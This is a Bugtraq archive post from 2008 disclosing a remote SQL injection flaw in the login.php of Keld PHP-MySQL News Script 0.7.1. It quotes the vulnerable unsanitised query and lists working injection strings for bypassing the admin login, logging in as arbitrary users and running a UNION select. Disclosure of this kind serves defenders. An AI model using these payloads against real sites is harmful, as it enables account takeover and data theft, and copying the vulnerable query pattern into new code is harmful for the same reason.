Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

Keld: PHP-MySQL News Script 0.7.1 Remote SQL injection Vulnerability
From: crimson.loyd () gmail com
Date: Sun, 3 Aug 2008 04:07:30 -0600

]#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#[
]                                                                                     [
]    Name  :  Keld: PHP-MySQL News Script 0.7.1 Remote SQL injection Vulnerability    [
]    Author:  suN8Hclf[crimsoN_Loyd9], DaRk-CodeRs Group                              [
]    Source:  http://sourceforge.net/project/showfiles.php?group_id=26365             [
]    Greetz:  c0ndemned, 0in and other DaRk-CodeRs guys, wizZ                         [
]                                                                                     [
]#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#[


Conditions: MAGIC_QUOTES=OFF
Vulnerable Code(login.php):

---------------------------------------CODE (login.php)----------------------------------------------------------------
mysql_select_db($db);
$query = mysql_query("select id,password from users where name = '$username' and password = password('$pass')");
if(mysql_num_rows($query) == 1)
-----------------------------------------------------------------------------------------------------------------------

Exploit:

All strings should be put down into username box in login.php

[1]. Login bypass

    A. admin' OR 1=1/* 
       DESC: This will log us into the admin's account
    B. fdfds' OR 1=1 limit x/*
       where x - from 0 to... i dont know ;)
       DESC: This will log us into the user's account which is x-nd in the table
 
[2]. Classic Remote SQL Injection

      ' AND 1=2 union select 1,2/*


  By Date           By Thread  

Current thread:
  • Keld: PHP-MySQL News Script 0.7.1 Remote SQL injection Vulnerability crimson . loyd (Aug 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]